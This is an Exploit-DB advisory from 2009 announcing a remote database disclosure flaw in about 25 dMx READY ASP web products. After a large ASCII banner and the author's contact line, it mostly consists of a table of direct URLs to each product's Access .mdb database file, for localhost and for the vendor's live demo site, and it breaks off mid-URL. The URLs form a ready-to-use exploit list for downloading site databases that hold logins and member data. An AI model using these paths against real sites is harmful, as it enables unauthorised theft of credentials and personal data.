Exploit-DB #7741
Description: dMx READ - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-01-12
Author: Cyber-Zone

Exploit:
***********************************************************************************************************************************************************        
[!]                                                                                                                                                     [!]
[!]                                  OOOO             O                                 OOOOOOOOO                                                       [!]
[!]                                 O    O            O                                 O      O                                                        [!]
[!]                                 O                 O                                       O                                                         [!]
[!]                                 O      OOOO  OOOO OOOOOO     OOOO   OOO OO               O      OOOO   OO OO     OOOO                               [!]
[!]                                 O       OOO  OOO  O     O   O    O    OO  O             O      O    O   OO  O   O    O                              [!]
[!]                                 O        OO  OO   O     O   OOOOOO    O     *******    O       O    O   O   O   OOOOOO                              [!]
[!]                                 O    O    OOOO    O     O   O         O               O      O O    O   O   O   O                                   [!]
[!]                                  OOOO      OO     OOOOOO     OOOO   OOOOOO           OOOOOOOOO  OOOO   OOO OOO   OOOO                               [!]
[!]                                           OO                                                                                                        [!]
[!]                                          OO                                                                                                         [!]
[!]                                         OO                          Proud To Be MoroCCaN                                                            [!]
[!]                                        OO                   WwW.Exploiter5.CoM My Web Site , WwW.No-Exploit.CoM  JiKo web site                      [!]
***********************************************************************************************************************************************************
+----                                                        Bismi Allah Irahmani ArraHim                                                             ----+
++--------------------------------------------------------------------------------------------------------------------------------------------------------+

Founded By : Cyber-Zone   ( Abdelkhalek )
E-mail     : Paradis_des_fous@hotmail.fr

++--------------------------------------------------------------------------------------------------------------------------------------------------------+

dMx READY ( 25 Products ) Remote Database Disclosure Vulnerability

Yea Yea , Take Down :)

Let's Start With some action :)



++--------------------------------------------------------------------------------------------------------------------------------------------------------+
Product name :                        Exploit :                                                  Live demo :
++--------------------------------------------------------------------------------------------------------------------------------------------------------+
Testimonials Manager 1.1              http://localhost/databases/TestimonialsManager.mdb         http://www.demo.dmxready.com/databases/TestimonialsManager.mdb
Site Engine Manager 1.1               http://localhost/databases/SiteEngineManager.mdb           http://www.demo.dmxready.com/databases/SiteEngineManager.mdb
Secure Login Manager 1.1              http://localhost/databases/SecureLoginManager.mdb          http://www.demo.dmxready.com/databases/SecureLoginManager.mdb
Secure Document Library 1.1           http://localhost/databases/SecureDocumentLibrary.mdb       http://www.demo.dmxready.com/databases/SecureDocumentLibrary.mdb
Registration Manager 1.1              http://localhost/databases/RegistrationManager.mdb         http://www.demo.dmxready.com/databases/RegistrationManager.mdb
Portfolio Manager 1.1                 http://localhost/databases/PortfolioManager.mdb            http://www.demo.dmxready.com/databases/PortfolioManager.mdb
Polling Booth Manager 1.1             http://localhost/databases/PollingBoothManager.mdb         http://www.demo.dmxready.com/databases/PollingBoothManager.mdb
Photo Gallery Manager 1.1             http://localhost/databases/PhotoGalleryManager.mdb         http://www.demo.dmxready.com/databases/PhotoGalleryManager.mdb
PayPal Store Manager 1.1              http://localhost/databases/PayPalStoreManager.mdb          http://www.demo.dmxready.com/databases/PayPalStoreManager.mdb
Online Contest Manager 1.1            http://localhost/databases/OnlineContestManager.mdb        http://www.demo.dmxready.com/databases/OnlineContestManager.mdb
News Manager 1.1                      http://localhost/databases/NewsManager.mdb                 http://www.demo.dmxready.com/databases/NewsManager.mdb
Members Area Manager 1.2              http://localhost/databases/MembersAreaManager.mdb          http://www.demo.dmxready.com/databases/MembersAreaManager.mdb
Member Directory Manager 1.1          http://localhost/databases/MemberDirectoryManager.mdb      http://www.demo.dmxready.com/databases/MemberDirectoryManager.mdb
Mailing List Manager 1.1              http://localhost/databases/MailingListManager.mdb          http://www.demo.dmxready.com/databases/MailingListManager.mdb
Account List Manager 1.1              http://localhost/databases/AccountListManager.mdb          http://www.demo.dmxready.com/databases/AccountListManager.mdb
Billboard Manager 1.1                 http://localhost/databases/BillboardManager.mdb            http://www.demo.